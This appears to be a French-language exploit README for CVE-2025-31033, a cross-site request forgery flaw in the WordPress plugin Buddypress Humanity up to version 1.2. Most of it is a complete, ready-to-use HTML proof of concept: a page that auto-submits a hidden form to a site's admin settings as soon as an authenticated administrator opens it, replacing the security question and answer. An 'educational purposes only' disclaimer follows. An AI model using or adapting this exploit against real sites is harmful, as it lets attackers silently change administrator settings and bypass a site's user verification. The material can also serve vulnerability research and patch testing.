nxploited/cve-2025-31033Le plugin WordPress Buddypress Humanity <= 1.2 est vulnérable à la falsification de requête intersite (CSRF).
Le plugin Buddypress Humanity pour WordPress (version <= 1.2) est vulnérable à une falsification de requête intersite (CSRF).
Cette vulnérabilité permet à un attaquant de forcer un utilisateur plus privilégié (par exemple, un administrateur) à modifier sans le savoir les paramètres du plugin (tels que la question de sécurité et la réponse), contournant ainsi la logique de vérification de l'utilisateur.
bph-settings (admin uniquement)CVE-2025-31033Si elle est exploitée avec succès, cette vulnérabilité permet aux attaquants de :
buddypress-humanity<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
<form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
<input type="hidden" name="bph_option[bph_title]" value="Nxploited">
<input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
<input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
<input type="hidden" name="bph_submit" value="1">
</form>
</body>
</html>
☠️ Une fois cette page ouverte par un administrateur authentifié, elle modifie silencieusement les paramètres du plugin.
Cette preuve de concept est uniquement à des fins éducatives.
Utilisez-la de manière responsable et ne testez pas sur des systèmes qui ne vous appartiennent pas.
L'auteur n'est pas responsable de tout usage abusif ou de tout dommage causé.
Nxploited | Khaled Alenazi